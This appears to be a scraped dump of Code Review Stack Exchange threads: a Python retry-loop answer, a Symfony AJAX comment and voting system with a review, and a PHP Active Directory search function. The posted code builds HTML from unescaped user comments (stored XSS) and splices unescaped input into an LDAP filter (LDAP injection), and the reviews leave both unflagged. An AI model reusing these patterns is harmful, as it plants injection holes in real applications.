"body": "<p>Original while loop:</p>\n\n<pre><code>while callable_objs:\n for callable_obj in callables:\n success_tracker[callable_obj] = callable_obj()\n attempt_counter[callable_obj] += 1\n\n if (success_tracker[callable_obj] or attempt_counter[callable_obj]\n >= max_attempts):\n callable_objs.remove(callable_obj)\n continue\n\n # Unsuccessful (False returned by one or more callables) attempt. Retry.\n if callable_objs:\n time.sleep(attempt_interval)\n</code></pre>\n\n<p>To avoid modifying callable_objs list while iterating over it(as mentioned in AJNeufeld's answer):</p>\n\n<pre><code>while callable_objs:\n for callable_obj in callable_objs:\n success_tracker[callable_obj] = callable_obj()\n attempt_counter[callable_obj] += 1\n\n callable_objs = [obj for obj in callable_objs\n if not success_tracker[obj]\n and attempt_counter[obj] < max_attempts]\n\n # Unsuccessful (False returned by one or more callables) attempt. Retry.\n if callable_objs:\n time.sleep(attempt_interval)\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-05T09:09:18.307",
"Id": "212900",
"ParentId": "212834",
"Score": "1"
}
}
] | {
"AcceptedAnswerId": null,
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-04T10:20:31.020",
"Id": "212834",
"Score": "4",
"Tags": [
"python",
"error-handling",
"callback",
"scheduled-tasks"
],
"Title": "Function to call a list of callables with retry"
} | 212834 |
<p>How can I improve this code ? It was quite hard to implement AJAX comment system in Symfony 3, and result is a bit of mess:</p>
<p><strong>Controller:</strong></p>
<pre><code><?php
declare(strict_types = 1);
namespace AppBundle\Controller;
use AppBundle\Entity\Article;
use AppBundle\Entity\ArticleCategory;
use AppBundle\Entity\Comment;
use AppBundle\Entity\User;
use AppBundle\Entity\UserLikedArticles;
use AppBundle\Form\CommentFormType;
use AppBundle\Repository\ArticleRepository;
use Sensio\Bundle\FrameworkExtraBundle\Configuration\Route;
use Symfony\Bundle\FrameworkBundle\Controller\Controller;
use Symfony\Component\HttpFoundation\JsonResponse;
use Symfony\Component\HttpFoundation\Request;
class ArticleController extends Controller
{
/**
* @Route("/articles/{category}", name="articles")
*/
public function getArticles(string $category) : object
{
$em = $this->getDoctrine()->getManager();
$categoryId = $em->getRepository('AppBundle:ArticleCategory')->getCategoryIdByCode($category);
$articles = $em->getRepository('AppBundle:Article')->findAllByCategory((int)$categoryId);
return $this->render('articles/articles.html.twig', [
'articles' => $articles
]);
}
/**
* @Route("/articles/{category}/{id}", name="article")
*/
public function getArticle($category, $id)
{
$isFavourite = false;
$isLikedArticle = false;
$isUnlikedArticle = false;
$articleRepo = $this->getDoctrine()->getRepository(Article::class);
$article = $articleRepo->find($id);
$categoryRepo = $this->getDoctrine()->getRepository(ArticleCategory::class);
$categories = $categoryRepo->findAll();
$categoryId = $categoryRepo->getCategoryIdByCode($category);
$lastArticles = $articleRepo->getLimitArticlesByCategory((int)$categoryId, 3);
$nextArticle = $articleRepo->getNextArticle((int)$categoryId, $id);
$previousArticle = $articleRepo->getPreviousArticle((int)$categoryId, $id);
if ($this->isGranted('ROLE_USER')) {
$userRepo = $this->getDoctrine()->getRepository(User::class);
$user = $this->getUser();
$user = $userRepo->find($user->getId());
$userFavouriteArticles = $user->getFavouriteArticles();
$userLikedArticle = $this->getDoctrine()->getRepository('AppBundle:UserLikedArticles')
->findOneBy(array(
'userId' => $user,
'articleId' => $article,
));
if ($userLikedArticle) {
$userLikedArticle->getAppraisal() == 'like' ? $isLikedArticle = true : $isUnlikedArticle = true;
}
foreach ($userFavouriteArticles as $userFavouriteArticle) {
if ($userFavouriteArticle->getId() == $id) {
$isFavourite = true;
}
}
}
if (is_null($nextArticle)) {
$nextArticle = $articleRepo->getRandomArticle((int)$categoryId, $id);
}
if (is_null($previousArticle)) {
$previousArticle = $articleRepo->getRandomArticle((int)$categoryId, $id);
}
$commentForm = $this->createForm(CommentFormType::class);
return $this->render('articles/article.html.twig', [
'article' => $article,
'categories' => $categories,
'lastArticles' => $lastArticles,
'nextArticle' => $nextArticle,
'previousArticle' => $previousArticle,
'commentForm' => $commentForm->createView(),
'isFavourite' => $isFavourite,
'isLikedArticle' => $isLikedArticle,
'isUnlikedArticle' => $isUnlikedArticle
]);
}
/**
* @Route("/articles/{category}/{id}/addcomment/{replyToId}", defaults={"replyToId"=0}, name="addcomment")
*/
public function addComment(Request $request, $category, $id, $replyToId)
{
$status = 'error';
$message = '';
if (!$this->isGranted('ROLE_USER')) {
echo 'ne e lognat'; exit;
$message = 'Трябва да се логнете, за да добавите нов коментар!';
} else {
$form = $this->createForm(CommentFormType::class);
$form->handleRequest($request);
if ($form->isSubmitted() && $form->isValid()) {
$user = $this->getDoctrine()->getRepository("AppBundle:User")->find($this->getUser()->getId());
$comment = $form->getData();
$comment->setPerson($user);
$comment->setReplyTo($replyToId);
$comment->setPostId($id);
$comment->setDateAdded(new \DateTime("now"));
$em = $this->getDoctrine()->getManager();
$article = $em->getRepository('AppBundle:Article')->find($id);
$article->setComments($article->getComments() + 1);
$em->persist($article);
$em->persist($comment);
try {
$em->flush();
$status = "success";
$message = "new comment was saved";
} catch (\Exception $e) {
$message = $e->getMessage();
}
}
}
$response = array(
'status' => $status,
'message' => $message,
);
return new JsonResponse($response);
}
/**
* @Route("/articles/{category}/{id}/addanswer/{replyToId}", defaults={"replyToId"=0}, name="addanswer")
*/
public function addAnswer(Request $request, $category, $id, $replyToId)
{
$status = 'error';
$message = '';
if (!$this->isGranted('ROLE_USER')) {
echo 'ne e lognat'; exit;
$message = 'Трябва да се логнете, за да добавите нов отговор!';
} else {
$comment = new Comment();
$comment->setContent($request->request->get('textarea-answer'));
$comment->setPersonId($this->getUser()->getId());
$comment->setReplyTo($replyToId);
$comment->setPostId($id);
$comment->setDateAdded(new \DateTime("now"));
$em = $this->getDoctrine()->getManager();
$em->persist($comment);
try {
$em->flush();
$status = "success";
$message = "new answer was saved";
} catch (\Exception $e) {
$message = $e->getMessage();
}
}
$response = array(
'status' => $status,
'message' => $message,
);
return new JsonResponse($response);
}
/**
* @Route("/articles/{category}/{id}/true/{page}", defaults={"page"=1}, name="articleAjax")
*/
public function getArticleAjax($category, $id, $page)
{
$recordsPerPage = 10;
$offset = ($page-1) * $recordsPerPage;
$commentRepo = $this->getDoctrine()->getRepository(Comment::class);
$countRecords = $commentRepo->countRecords($id);
$totalPages = ceil($countRecords / $recordsPerPage);
$articleRepo = $this->getDoctrine()->getRepository(Article::class);
$article = $articleRepo->find($id);
$comments = $commentRepo->getPaginationPost($recordsPerPage, $offset, $id);
foreach ($comments as &$comment) {
$subcomments = $commentRepo->getSubComments($comment['id']);
$comment['subComments'] = $subcomments;
}
$response = [
'comments' => $comments,
'id' => $id,
'totalPages' => $totalPages
];
return new JsonResponse($response);
}
/**
* @Route("subcomments/{commentId}/{lastAnswer}/{step}", defaults={"step"=2}, name="getSubcomments")
*/
public function getMoreAnswers($commentId, $lastAnswer, $step)
{
$limit = 2;
$commentRepo = $this->getDoctrine()->getRepository(Comment::class);
$answers = $commentRepo->getMoreAnswers($commentId, $lastAnswer, $step, $limit);
$step = $step+2;
$response = [
'answers' => $answers,
'step' => $step
];
return new JsonResponse($response);
}
/**
* @Route("/articles/{category}/{id}/addtofavorites", name="addToFavourites")
*/
public function addToFavourites($category, $id)
{
$em = $this->getDoctrine()->getManager();
$article = $em->getRepository("AppBundle:Article")->find($id);
$user = $this->getUser();
$user = $em->getRepository("AppBundle:User")->find($user->getId());
if (!$user->addFavouriteArticle($article)) {
$article->setFavourites($article->getFavourites() - 1);
} else {
$article->setFavourites($article->getFavourites() + 1);
}
$em->persist($article);
$em->persist($user);
$em->flush();
$test = 'true';
return new JsonResponse($test);
}
/**
* @Route("/articles/{category}/{id}/likeunlike/{type}", name="likeUnlike")
*/
public function likeUnlikeAction($category, $id, $type)
{
$isLikedUnliked = false;
$type == 'like' ? $otherType = 'unlike' : $otherType = 'like';
$em = $this->getDoctrine()->getManager();
$article = $em->getRepository("AppBundle:Article")->find($id);
$user = $this->getUser();
$user = $em->getRepository("AppBundle:User")->find($user->getId());
$UserLikedArticle = $em->getRepository('AppBundle:UserLikedArticles')
->findOneBy(array(
'userId' => $user,
'articleId' => $article,
'appraisal' => $type
));
$userOtherTypeLikedArticle = $em->getRepository('AppBundle:UserLikedArticles')
->findOneBy(array(
'userId' => $user,
'articleId' => $article,
'appraisal' => $otherType
));
if ($type == 'like') {
if ($UserLikedArticle) {
$em->remove($UserLikedArticle);
$em->flush();
$article->setLikes($article->getLikes() - 1);
} else {
$userLikedArticles = new UserLikedArticles();
$userLikedArticles->setUserId($user);
$userLikedArticles->setArticleId($article);
$userLikedArticles->setAppraisal($type);
$article->setLikes($article->getLikes() + 1);
if ($userOtherTypeLikedArticle) {
$em->remove($userOtherTypeLikedArticle);
$article->setLikes($article->getLikes() + 1);
}
$em->persist($userLikedArticles);
$em->flush();
$isLikedUnliked = true;
}
} else {
if ($UserLikedArticle) {
$em->remove($UserLikedArticle);
$em->flush();
$article->setLikes($article->getLikes() + 1);
} else {
$userLikedArticles = new UserLikedArticles();
$userLikedArticles->setUserId($user);
$userLikedArticles->setArticleId($article);
$userLikedArticles->setAppraisal($type);
$article->setLikes($article->getLikes() - 1);
if ($userOtherTypeLikedArticle) {
$em->remove($userOtherTypeLikedArticle);
$article->setLikes($article->getLikes() - 1);
}
$em->persist($userLikedArticles);
$em->flush();
$isLikedUnliked = true;
}
}
$em->persist($article);
$em->flush();
$likes = $article->getLikes();
return new JsonResponse($likes);
}
}
</code></pre>
<p><strong>JS:</strong></p>
<pre><code>$( document ).ready(function() {
loadComments(window.location.href + '/true', '', '');
//Add / Remove Favourties
$(".heart.fa").click(function() {
var url = $('#add-favourite-button').data('link');
$.ajax({
type: "POST",
url: url,
success: function(data)
{
$('#add-favourite-button').toggleClass("fa-heart fa-heart-o");
}
});
});
//Like / Unlike
$(".glyphicon-arrow-up, .glyphicon-arrow-down").click(function () {
var button = $(this);
var type = button.attr("data-type");
var url = window.location.href + '/likeunlike/' + type;
$.ajax({
type: "POST",
url: url,
success: function(data)
{
if (button.attr('id') == 'button-like-article') {
$("#button-like-article").toggleClass("orange-arrow");
$('#button-unlike-article').removeClass("orange-arrow");
} else {
$("#button-unlike-article").toggleClass("orange-arrow");
$("#button-like-article").removeClass("orange-arrow");
}
$('#likes-count').text(data);
}
});
});
// Send comment client logic
$("#comment_box").submit(function(e) {
e.preventDefault();
var form = $(this);
var url = form.attr('action');
var category = url.split('/')[2];
var article = url.split('/')[3];
$.ajax({
type: "POST",
url: url,
data: form.serialize(),
success: function(data)
{
loadComments('', category, article);
}
});
});
// Send answer client logic
$(document).on("click", "#saveButtonAnswer", function (e) {
$(".answer_box").submit(function(e) {
e.preventDefault();
var form = $(this);
var url = form.attr('action');
$.ajax({
type: "POST",
url: url,
data: form.serialize(),
success: function(data)
{
loadComments(window.location.href + '/true', '', '');
}
});
});
});
// Show / Hide form for comment
$(document).on("click", ".reply", function (e) {
e.preventDefault();
var commentId = $(this).attr('href');
$("#post-comment"+commentId).toggle();
});
// Show More answers client logic
$(document).on("click", ".show-more-answers", function (e) {
e.preventDefault();
url = $(this).attr('href');
console.log(url) ;
id = $(this).attr('id');
commentId = $(this).attr('data-comment-id');
$.ajax({
type: "GET",
url: url,
success: function(data)
{
var html = '';
var answersArray = Object.keys(data.answers).map(function(key) {
return data.answers[key];
});
console.log(answersArray);
for (var i = 0; i < answersArray.length; i++) {
html += '<div>' +
'<div class="media comment-area">' +
'<div class="media-left">' +
'<a href="#">' +
'<img class="media-object" src="../../images/testimonial-1.jpg" alt="">' +
'</a>' +
'</div>' +
'<div class="media-body">' +
'<a class="media-heading" href="#">Prodip Ghosh</a>' +
'<h5>Oct 18, 2016</h5>' +
'<p>' + answersArray[i].content + '</p>' +
'</div>';
if ((answersArray[answersArray.length - 1] === answersArray[i])) {
html += '<a href="/subcomments/' + commentId + '/' + answersArray[i].id + '/' + data.step + '" class="show-more-answers" id="show-more-answers' + answersArray[i].id + '" data-comment-id="' + commentId + '">Show More</a>';
}
html += '</div>';
}
$('#'+id).after(html);
$('#'+id).remove();
}
});
});
$(document).on("click", "#pagination-link", function (e) {
e.preventDefault();
var url = $(this).attr('href');
loadComments(url);
});
// Send comment client logic
function loadComments (url = '', category = '', article = '', step = 1) {
var html = '';
url = (url != '' ? url : '/articles/' + category + '/' + article + '/true');
$.ajax({
type: "GET",
url: url,
success: function(data)
{
var image = "../../images/testimonial-4.jpg";
data.comments.forEach(function(comment) {
html +=
'<div class="comment_area">' +
'<div class="media">' +
'<div class="media-left">' +
'<a href="#">' +
'<img class="media-object" src="' + image + '" alt="">' +
'</a>' +
'</div>' +
'<div class="media-body" id="comment-div">' +
'<a class="media-heading" href="/profile/' + comment.person.id + '">' + comment.person.firstName + '</a>' +
'<h5>Oct 18, 2016</h5>' +
'<p>' + comment.content + '</p>' +
'<a class="reply" href="' + comment.id + '">Отговори</a>' +
'</div>' +
'<div class="post_comment" id="post-comment' + comment.id + '" style="display: none;">' +
'<h3>Добави отговор</h3>' +
'<form method="POST" class="comment_box answer_box" id="answer-form' + comment.id + '" action="' + data.id + '\\addanswer\\' + comment.id + '") }}">' +
'<textarea id="textarea-answer" name="textarea-answer" class="form-control input_box"></textarea>' +
'<button type="submit" id="saveButtonAnswer">Изпрати</button>' +
'</form>' +
'</div>' +
'</div>' +
'</div>';
var subcommentsArray = Object.keys(comment.subComments).map(function(key) {
return comment.subComments[key];
});
var limit = 2;
if (subcommentsArray.length > 0) {
//var lastSubcomment = subcommentsArray[subcommentsArray.length - 1];
for (var i = 0; i < limit; i++) {
if (typeof subcommentsArray[i] === 'undefined') {
continue;
}
html += '<div class="comment_area reply_comment">' +
'<div class="media comment-area">' +
'<div class="media-left">' +
'<a href="#">' +
'<img class="media-object" src="../../images/testimonial-1.jpg" alt="">' +
'</a>' +
'</div>' +
'<div class="media-body">' +
'<a class="media-heading" href="#">' + subcommentsArray[i].person.firstName + '</a>' +
'<h5>Oct 18, 2016</h5>' +
'<p>' + subcommentsArray[i].content + '</p>' +
'</div>' +
'</div>';
if (subcommentsArray.length > limit) {
if (subcommentsArray[limit-1] === subcommentsArray[i]) {
html += '<a href="/subcomments/' + comment.id + '/' + subcommentsArray[i].id + '" class="show-more-answers" id="show-more-answers' + subcommentsArray[i].id + '" data-comment-id="' + comment.id + '">Show More</a>'
}
}
html += '</div>';
}
}
});
html += '<ul>';
for (var i = 1; i <= data.totalPages; i ++) {
html += '<li><a href="' + data.id + '/true/' + i + '" id="pagination-link">' + i +'</a></li>';
}
html += '</ul>';
$('.testt').html(html);
}
});
}
});
</code></pre>
<p><strong>View:</strong></p>
<pre><code>{% extends 'base.html.twig' %}
{% block body %}
{% include 'home/header.html.twig' %}
<!-- Banner area -->
<section class="banner_area" data-stellar-background-ratio="0.5">
<h2>Our Blog</h2>
<ol class="breadcrumb">
<li><a href="index.html">Home</a></li>
<li><a href="#" class="active">Blog</a></li>
</ol>
</section>
<!-- End Banner area -->
<!-- blog area -->
<section class="blog_all">
<div class="container">
<div class="row m0 blog_row">
<div class="col-sm-8 main_blog">
<img src="images/blog/blog_hed-1.jpg" alt="">
<div class="col-xs-1 p0">
<div>
<button id="button-like-article" class="glyphicon glyphicon-arrow-up {{ isLikedArticle ? 'orange-arrow' : '' }}" data-type="like"></button>
<p id="likes-count">{{ article.likes }}</p>
<button id="button-unlike-article" class="glyphicon glyphicon-arrow-down {{ isUnlikedArticle ? 'orange-arrow' : '' }}" data-type="unlike"></button>
</div>
<div class="blog_date">
<a href="#">{{ article.dateAdded|date("d") }}</a>
<a href="#">{{ article.dateAdded|date("M")|cyrillicMonth }}</a>
</div>
{% if is_granted('ROLE_USER') %}
<div>
<i class="{{ isFavourite ? 'heart fa fa-heart' : 'heart fa fa-heart-o' }}" id="add-favourite-button" data-link="{{ path('addToFavourites', {'category':article.category.code, 'id':article.id}) }}"></i>
</div>
{% endif %}
</div>
<div class="col-xs-11 blog_content">
<a class="blog_heading" href="#">{{ article.title }}</a>
<a class="blog_admin" href="#"><i class="fa fa-user" aria-hidden="true"></i>{{ article.author }}</a>
<ul class="like_share">
<li><a href="#"><i class="fa fa-comment" aria-hidden="true"></i>{{ article.comments }}</a></li>
<li><a href="#"><i class="fa fa-heart" aria-hidden="true"></i>{{ article.favourites }}</a></li>
<li><a href="#"><i class="fa fa-share-alt" aria-hidden="true"></i></a></li>
</ul>
<p>{{ article.content }}</p>
<!--div class="tag">
<h4>TAG</h4>
<a href="#">PAINTING</a>
<a href="#">CONSTRUCTION</a>
<a href="#">PAINTING</a>
</div-->
</div>
<div class="client_text" id="client-text">
<img class="img-circle" src="images/testimonial-4.jpg" alt="">
<a class="client_name" href="#">Emran Khan</a>
<p>Lorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industry's standard dummy text ever since the 1500s, when an unknown printer took a galley of type and scrambled it to make a type specimen book.</p>
{% if previousArticle is not null and nextArticle is not null %}
<a class="control button_all" href="{{ path('article', {'category':previousArticle.category.code, 'id':previousArticle.id}) }}"><i class="fa fa-long-arrow-left" aria-hidden="true"></i> {{ previousArticle.title }}</a>
<a class="control button_all" href="{{ path('article', {'category':nextArticle.category.code, 'id':nextArticle.id}) }}">{{ nextArticle.title }} <i class="fa fa-long-arrow-right" aria-hidden="true"></i></a>
{% endif %}
</div>
<div class="testt">
</div>
<div class="post_comment">
<h3>Добави коментар</h3>
{{ form_start(commentForm, {'action': path('addcomment', {'category':article.category.code, 'id':article.id})}) }}
<div class="col-md-12">
<h4>{{ form_label(commentForm.content) }}</h4>
{{ form_widget(commentForm.content) }}
{{ form_widget(commentForm.submit) }}
</div>
{{ form_end(commentForm) }}
</div>
</div>
<div class="col-sm-4 widget_area">
<div class="resent">
<h3>Последни теми:</h3>
{% for article in lastArticles %}
<div class="media">
<div class="media-left">
<a href="{{ path('article', {'category':article.category.code, 'id':article.id}) }}">
<img class="media-object" src="images/blog/rs-1.jpg" alt="">
</a>
</div>
<div class="media-body">
<a href="">{{ article.title }}</a>
<h6>{{ article.dateAdded|date("M")|cyrillicMonth }} {{ article.dateAdded|date("d") }}, {{ article.dateAdded|date("Y") }}</h6>
</div>
</div>
{% endfor %}
</div>
<div class="resent">
<h3>Категории</h3>
<ul class="architecture">
{% for category in categories %}
<li><a href="{{ path('articles', {'category':category.code}) }}"><i class="fa fa-arrow-right" aria-hidden="true"></i>{{ category.name }}</a></li>
{% endfor %}
</ul>
</div>
<!--div class="resent">
<h3>ARCHIVES</h3>
<ul class="architecture">
<li><a href="#"><i class="fa fa-arrow-right" aria-hidden="true"></i>February 2016</a></li>
<li><a href="#"><i class="fa fa-arrow-right" aria-hidden="true"></i>April 2016</a></li>
<li><a href="#"><i class="fa fa-arrow-right" aria-hidden="true"></i>June 2016</a></li>
</ul>
</div-->
<div class="search">
<input type="search" name="search" class="form-control" placeholder="Search">
</div>
<!--div class="resent">
<h3>Tag</h3>
<ul class="tag">
<li><a href="#">PAINTING</a></li>
<li><a href="#">CONSTRUCTION</a></li>
<li><a href="#">Architecture</a></li>
<li><a href="#">Building</a></li>
<li><a href="#">Design</a></li>
<li><a href="#">Design</a></li>
</ul>
</div-->
</div>
</div>
</div>
</section>
<!-- End blog area -->
{% include 'home/footer.html.twig' %}
{% endblock %}
</code></pre>
<p>Any advice is welcome!</p>
| [] | [
{
"body": "<h3>PHP</h3>\n\n<p>Overall, the methods and functions look a bit long. Look at <code>ArticleController::getArticle()</code> - its more than 50 lines! Pretend you are a teammate who has to modify this code without being very familiar with it. </p>\n\n<p>One way to improve things would be to split out blocks of code into separate methods - especially repeated code like the blocks that instantiate and save <code>Comment</code> objects. This adheres to the <strong>D</strong>on't <strong>R</strong>epeat <strong>Y</strong>ourself principle (i.e. <strong>D.R.Y</strong>). You might also aim to keep the indentation level to one and avoid using the <code>else</code> keyword, as recommended by Rafael Dohms in <a href=\"https://www.youtube.com/watch?v=GtB5DAfOWMQ\" rel=\"nofollow noreferrer\">this presentation about cleaning up code</a>.</p>\n\n<hr>\n\n<p>As was mentioned above, <code>addAnswer</code> and <code>addComment</code> both manipulate a Comment object in very similar ways - many of the common lines could be abstracted to a separate function. In the image below, blue lines represent identical lines that could be abstracted and the purple line is similar - could be abstracted to use a parameter.</p>\n\n<p><a href=\"https://i.stack.imgur.com/nwYiu.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/nwYiu.png\" alt=\"enter image description here\"></a></p>\n\n<p>Also note that the return formats are similar so that could also potentially be abstracted to a separate method.</p>\n\n<hr>\n\n<p>In the method <code>addComment()</code> I see the following:</p>\n\n<pre><code>public function addComment(Request $request, $category, $id, $replyToId)\n {\n $status = 'error';\n $message = '';\n\n if (!$this->isGranted('ROLE_USER')) {\n echo 'ne e lognat'; exit;\n $message = 'Трябва да се логнете, за да добавите нов коментар!';\n } else {\n</code></pre>\n\n<p>When the condition in the <code>if</code> block evaluates to <code>true</code> then the string literal will be sent to the <code>echo</code> and the program will exit, thus making the next line (which sets <code>$message</code>) unreachable, and thus superfluous. </p>\n\n<hr>\n\n<p>I see a couple places like </p>\n\n<blockquote>\n<pre><code>$status = 'error';\n</code></pre>\n</blockquote>\n\n<p>And then later on:</p>\n\n<blockquote>\n<pre><code>$status = \"success\";\n</code></pre>\n</blockquote>\n\n<p>One could argue that those values should be stored in constants </p>\n\n<hr>\n\n<p>There are multiple places where a variable is created and assigned immediately before a return statement - e.g. :</p>\n\n<p><code>addToFavourites()</code>:</p>\n\n<blockquote>\n<pre><code> $test = 'true';\nreturn new JsonResponse($test);\n</code></pre>\n</blockquote>\n\n<p><code>likeUnlikeAction()</code>:</p>\n\n<blockquote>\n<pre><code>$likes = $article->getLikes();\nreturn new JsonResponse($likes);\n</code></pre>\n</blockquote>\n\n<p>There is little point to assigning the value to a variable immediately before it gets used in a return statement. Just use the value in the return statement.</p>\n\n<hr>\n\n<h3>JS</h3>\n\n<p>I see a lot of DOM lookups throughout the various javascript event handlers. Bear in mind that those are not cheap<sup><a href=\"https://channel9.msdn.com/Events/MIX/MIX09/T53F\" rel=\"nofollow noreferrer\">1</a></sup> so it is better to store DOM lookups in a variable (or constant if <a href=\"/questions/tagged/ecmascript-6\" class=\"post-tag\" title=\"show questions tagged 'ecmascript-6'\" rel=\"tag\">ecmascript-6</a> is used - see last section below for more information).</p>\n\n<hr>\n\n<p>Is there really only one element with the class <code>testt</code>? Would there ever be a case where multiple elements with that class would be appropriate? If not, perhaps an <em>id</em> attribute should be used instead (including referencing that element in the JavaScript code). </p>\n\n<hr>\n\n<p>I can't tell which version of jQuery is used but as of version 3.0<sup><a href=\"https://api.jquery.com/ready/\" rel=\"nofollow noreferrer\">2</a></sup> the following syntax is deprecated:</p>\n\n<blockquote>\n<pre><code>$( document ).ready(function() {\n</code></pre>\n</blockquote>\n\n<p>and can be shortened to </p>\n\n<pre><code>$(function() {\n</code></pre>\n\n<hr>\n\n<p>Some places in the JavaScript could be simplified using <a href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/bind#Partially_applied_functions\" rel=\"nofollow noreferrer\">partially applied functions</a>- e.g.:</p>\n\n<blockquote>\n<pre><code>success: function(data)\n {\n loadComments(window.location.href + '/true', '', '');\n }\n</code></pre>\n</blockquote>\n\n<p>could be simplified to something like:</p>\n\n<pre><code>success: loadComments.bind(null, window.location.href + '/true', '', '')\n</code></pre>\n\n<hr>\n\n<p>It appears that there are default parameters used on one JavaScript function definition: </p>\n\n<blockquote>\n<pre><code>function loadComments (url = '', category = '', article = '', step = 1) {\n</code></pre>\n</blockquote>\n\n<p><a href=\"http://es6-features.org/#DefaultParameterValues\" rel=\"nofollow noreferrer\">This is a feature</a> of <a href=\"/questions/tagged/ecmascript-6\" class=\"post-tag\" title=\"show questions tagged 'ecmascript-6'\" rel=\"tag\">ecmascript-6</a>, which means that if you are going to use that standard, then you could start using other features like <a href=\"http://es6-features.org/#Constants\" rel=\"nofollow noreferrer\"><code>const</code></a> and <a href=\"http://es6-features.org/#Constants\" rel=\"nofollow noreferrer\"><code>let</code></a> instead of <code>var</code> for scoping variables, <a href=\"http://es6-features.org/#ExpressionBodies\" rel=\"nofollow noreferrer\">arrow functions</a>, etc.</p>\n\n<p><sup>1</sup><sub><a href=\"https://channel9.msdn.com/Events/MIX/MIX09/T53F\" rel=\"nofollow noreferrer\">https://channel9.msdn.com/Events/MIX/MIX09/T53F</a></sub><br/>\n<sup>2</sup><sub><a href=\"https://api.jquery.com/ready/\" rel=\"nofollow noreferrer\">https://api.jquery.com/ready/</a></sub></p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-18T08:04:54.667",
"Id": "413338",
"Score": "0",
"body": "Thanks for your reply! I'd be glad to see more info about Symfony part."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-21T20:05:53.803",
"Id": "413900",
"Score": "0",
"body": "Okay I added some more aspects about the Symfony part."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-22T07:54:20.300",
"Id": "413943",
"Score": "0",
"body": "Thank you! Now I can accept your answer :)"
}
],
"meta_data": {
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-07T19:25:40.083",
"Id": "213064",
"ParentId": "212837",
"Score": "2"
}
}
] | {
"AcceptedAnswerId": "213064",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-04T10:55:14.863",
"Id": "212837",
"Score": "2",
"Tags": [
"javascript",
"php",
"jquery",
"ecmascript-6",
"ajax"
],
"Title": "Symfony AJAX comment system with votes"
} | 212837 |
<p>I have the following php function, that reads and returns data from the active directory. It is part of a project which will be graded (I'm in an apprenticeship). It is very long and I think the code would be much more readable if I broke it down to several small functions. How could I do that?</p>
<pre><code>private function _searchADUser($filters) {
try {
if ($filters !== null) {
$sn = utf8_decode($filters->name);
$givenName = utf8_decode($filters->firstName);
$employeeId = $filters->id;
} else {
$sn = '';
$givenName = '*';
$employeeId = '';
}
$pattern = '(&';
if ($givenName !== '') {
$pattern .= '(givenName='.$givenName.')';
}
if ($sn !== '') {
$pattern .= '(sn='.$sn.')';
}
if ($employeeId !== '') {
$pattern .= '(employeeid='.$employeeId.')';
}
$pattern .= ')';
$con = ldap_connect($this->ldap->connection);
ldap_bind($con, $this->ldap->username, $this->ldap->password);
$result = ldap_search($con, $this->ldap->dn, $pattern);
$userInfo = ldap_get_entries($con, $result);
if ($userInfo['count'] === 0) {
throw new ErrorException('Die Suche lieferte keine Ergebnisse.');
}
$return = [];
for ($i = 0; $i < $userInfo['count']; $i++) {
if (array_key_exists('sn', $userInfo[$i])) {
$name = $userInfo[$i]['sn'][0];
} else {
$name = '--';
}
if (array_key_exists('givenname', $userInfo[$i])) {
$vorname = $userInfo[$i]['givenname'][0];
} else {
$vorname = '--';
}
// Ausweisnummer auslesen
if (isset($userInfo[$i]['employeeid'])) {
$ausweisnr = $userInfo[$i]['employeeid'][0];
} else {
$ausweisnr = '--';
}
// Gültigkeitsdatum auslesen
if (isset($userInfo[$i]['accountexpires'])) {
if($userInfo[$i]['accountexpires'][0] !== '0' && $userInfo[$i]['accountexpires'][0] !== '9223372036854775807') {
$accExp = floatval($userInfo[$i]['accountexpires'][0]);
$floatDate = $accExp/1.E7-11644473600;
$intDate = intval($floatDate);
$valid = date('d.m.Y', $intDate);
} else {
// 31. Dezember des laufenden Jahres wenn kein Datum gesetzt
$valid = date('d.m.Y', strtotime('12/31'));
}
} else {
$valid = date('d.m.Y', strtotime('12/31'));
}
// Funktion auslesen
if (isset($userInfo[$i]['title'][0])) {
$title = $userInfo[$i]['title'][0];
} else {
$title = '--';
}
// Benutzername auslesen
if (isset($userInfo[$i]['samaccountname'][0])) {
$username = $userInfo[$i]['samaccountname'][0];
} else {
$username = '--';
}
require_once 'PHP/IDCardCreator_ImageManipulator.php';
$img = new IDCardCreator_ImageManipulator();
// Anzeigebild auslesen
if (isset($this->ldap->picturepath) && isset($userInfo[$i]['samaccountname'][0])) {
if (is_file($this->ldap->picturepath.'\\'.$userInfo[$i]['samaccountname'][0].'.jpg')) {
copy($this->ldap->picturepath.'\\'.$userInfo[$i]['samaccountname'][0].'.jpg', 'userImages/'.$userInfo[$i]['samaccountname'][0].'.jpg');
$path = 'userImages/'.$userInfo[$i]['samaccountname'][0].'.jpg';
} else {
// Pfad des Platzhalterbildes übergeben
$this->_writeLog('Datei '.$this->ldap->picturepath.'\\'.$userInfo[$i]['samaccountname'][0].'.jpg nicht gefunden.');
$path = 'img/noimg.png';
}
} else {
if (isset($userInfo[$i]['thumbnailphoto']) && $filters !== null) {
$imgString = $userInfo[$i]['thumbnailphoto'][0];
$img->saveImg($name, $vorname, $imgString);
// Pfad des Bildes übergeben
$path = 'userImages/'.$name . '_' . $vorname . '.jpg';
} else {
// Pfad des Platzhalterbildes übergeben
$path = 'img/noimg.png';
}
}
$results = array(
// Umlaute korrekt codieren
'Name' => utf8_encode($name),
'Vorname' => utf8_encode($vorname),
'Funktion' => utf8_encode($title),
'Gültigkeit' => $valid,
'ID' => $ausweisnr,
'Pfad' => utf8_encode($path)
);
$return[] = $results;
}
// Array alphabetisch sortieren
usort($return, function($a, $b) {
return $a['Name'] < $b['Name'] ? -1 : 1;
});
} catch (Throwable $ex) {
$return = $ex;
}
return $return;
}
</code></pre>
| [] | [
{
